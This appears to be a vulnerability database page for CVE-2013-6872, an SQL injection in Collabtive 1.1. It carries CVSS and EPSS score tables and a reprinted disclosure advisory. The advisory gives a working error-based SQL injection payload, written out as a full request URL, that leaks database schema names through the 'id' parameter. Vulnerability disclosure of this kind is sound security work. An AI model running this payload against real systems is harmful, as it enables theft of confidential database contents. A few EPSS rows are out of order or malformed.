CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
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SQL injection vulnerability in managetimetracker.php in Collabtive before 1.2 allows remote authenticated users to execute arbitrary SQL commands via the id parameter in a projectpdf action.
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
6.5
AV:N/AC:L/Au:S/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.27%
–
–
2022-02-20
–
–
1.27%
–
–
2022-04-03
–
–
1.27%
–
–
2022-04-17
–
–
1.14%
–
–
2022-06-26
–
–
1.14%
–
–
2022-09-25
–
–
1.14%
–
–
2023-02-26
–
–
1.14%
–
–
2023-03-12
–
–
–
0.12%
–
2023-04-09
–
–
–
0.11%
–
2023-06-18
–
–
–
0.11%
–
2023-07-23
–
–
–
0.1%
–
2023-09-10
–
–
–
0.1%
–
2024-02-11
–
–
–
0.1%
–
2024-06-02
–
–
–
0.1%
–
2024-06-23
–
–
–
0.1%
–
2024-08-04
–
–
–
0.1%
–
2024-08-11
–
–
–
0.1%
–
2024-11-17
–
–
–
0.1%
–
2024-12-15
–
–
–
0.1%
–
2024-12-22
–
–
–
0.15%
–
2025-02-16
–
–
–
0.15%
–
2025-01-19
–
–
–
0.15%
–
2025-02-16
–
–
–
0.15%
–
2025-03-18
–
–
–
–
3.37%
2025-03-30
–
–
–
–
3.58%
2025-03-30
–
–
–
–
3.58,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2014-01-14 23h00 +00:00 Author : Yogesh Phadtare EDB Verified : No
##=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+##
|| ||
|| Advisory : Collabtive Sql Injection ||
|| Affected Version : 1.1 ||
|| Vendor : http://collabtive.o-dyn.de/index.php ||
|| Risk : Medium ||
|| CVE-ID : 2013-6872 ||
|| Tested on Platform : Windows 7 ||
##=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+##
==========================================================================================================
Product Description:
Collabtive is web-based project management software.
The project was started in November 2007. It is open source software and provides an alternative to proprietary tools like Basecamp. Collabtive is written in PHP and JavaScript.
Collabtive is intended for small to medium-sized businesses and freelancers. We offer commercial services for installation and customization of Collabtive.
It can also be installed on an internal server as well as in the cloud. All major browsers like Internet Explorer, Firefox, Chrome and Safari are supported.
Collabtive is developed by a team of professional volunteers. Everyone involved is a pro in their respective areas, providing high quality contributions to the project.
(from product home page)
Collabtive has more than 1000 downloads per week.
==========================================================================================================
Vulnerability Description:
Double query type of SQL Injection vulnerability has been detected in Collabtive web applivation. Application failed to sanitize user supplied input in parameter "id" of page managetimetracker.php.
User must be authenticated to exploit this vulnerability.
This vulnerability was tested with Collabtive 1.1. Other versions may also be affected.
===========================================================================================================
Impact:
Successful exploitation of this vulnerability will allow a remote authenticated attacker to extract sensitive and confidential data from the database.
===========================================================================================================
Proof of Concept:
URL: http://www.example.com/collabtive/managetimetracker.php?action=projectpdf&id=2
PAYLOAD: and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
Example:
Following query will show name of first database in error.
http://www.example.com/collabtive/managetimetracker.php?action=projectpdf&id=2 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0x27,cast(schema_name as char),0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
===========================================================================================================
Solution:
There's no known workaround available.
This vulnerability has been fixed in version 1.2 of Collabtive.
===========================================================================================================
Disclosure Timeline:
~Vendor notification: 26th November 2013
~Vendor response: 27th November 2013
~Vendor released updates: 4th January 2014
~Public disclosure: 15th January 2014
===========================================================================================================
Advisory discovered by: Yogesh Phadtare
Secur-I Research Group
http://securview.com/